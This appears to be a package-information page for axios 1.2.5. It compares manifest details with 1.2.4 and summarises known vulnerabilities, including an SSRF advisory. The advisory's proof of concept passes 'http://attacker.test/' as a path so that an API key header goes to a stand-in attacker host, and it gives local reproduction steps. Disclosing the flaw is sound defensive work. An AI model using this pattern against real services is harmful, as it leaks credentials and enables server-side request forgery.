Axios, a widely utilized promise-based HTTP client for browsers and Node.js, released version 1.2.5 shortly after 1.2.4. Examining the package manifests reveals subtle differences that, while seemingly minor, could be relevant to developers. Crucially, the core dependencies – form-data, proxy-from-env, and follow-redirects – remain identical across both versions, suggesting that the update doesn't fundamentally alter how Axios handles form submissions, proxy configurations, or redirects. The significant change appears in dist field. Specifically the unpacked size of the library. Version 1.2.4 lists an unpackedSize of 1676740 bytes, whereas version 1.2.5 reports an unpackedSize of 1679167 bytes. This implies a minor increase in the overall size of the package after unpacking, which might stem from bug fixes, performance enhancements, or adjustments to internal code structures. The file count contained in the package is the same between the versions. Another difference is the release date. Keep in mind that a more current version could include important bug fixes or security improvements, making the upgrade worthwhile even if the feature set looks unchanged. Always consult the official changelog or release notes for comprehensive details on specific fixes, enhancements, and potential breaking changes.
All the vulnerabilities related to the version 1.2.5 of the package
Axios Cross-Site Request Forgery Vulnerability
An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.
axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL
A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463
A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if baseURL
is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.
Consider the following code snippet:
import axios from "axios";
const internalAPIClient = axios.create({
baseURL: "http://example.test/api/v1/users/",
headers: {
"X-API-KEY": "1234567890",
},
});
// const userId = "123";
const userId = "http://attacker.test/";
await internalAPIClient.get(userId); // SSRF
In this example, the request is sent to http://attacker.test/
instead of the baseURL
. As a result, the domain owner of attacker.test
would receive the X-API-KEY
included in the request headers.
It is recommended that:
baseURL
is set, passing an absolute URL such as http://attacker.test/
to get()
should not ignore baseURL
.baseURL
with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL
.Follow the steps below to reproduce the issue:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
$ node main.js
this is server2
Even though baseURL
is set to http://localhost:10001/
, axios sends the request to http://localhost:10002/
.
baseURL
and does not validate path parameters is affected by this issue.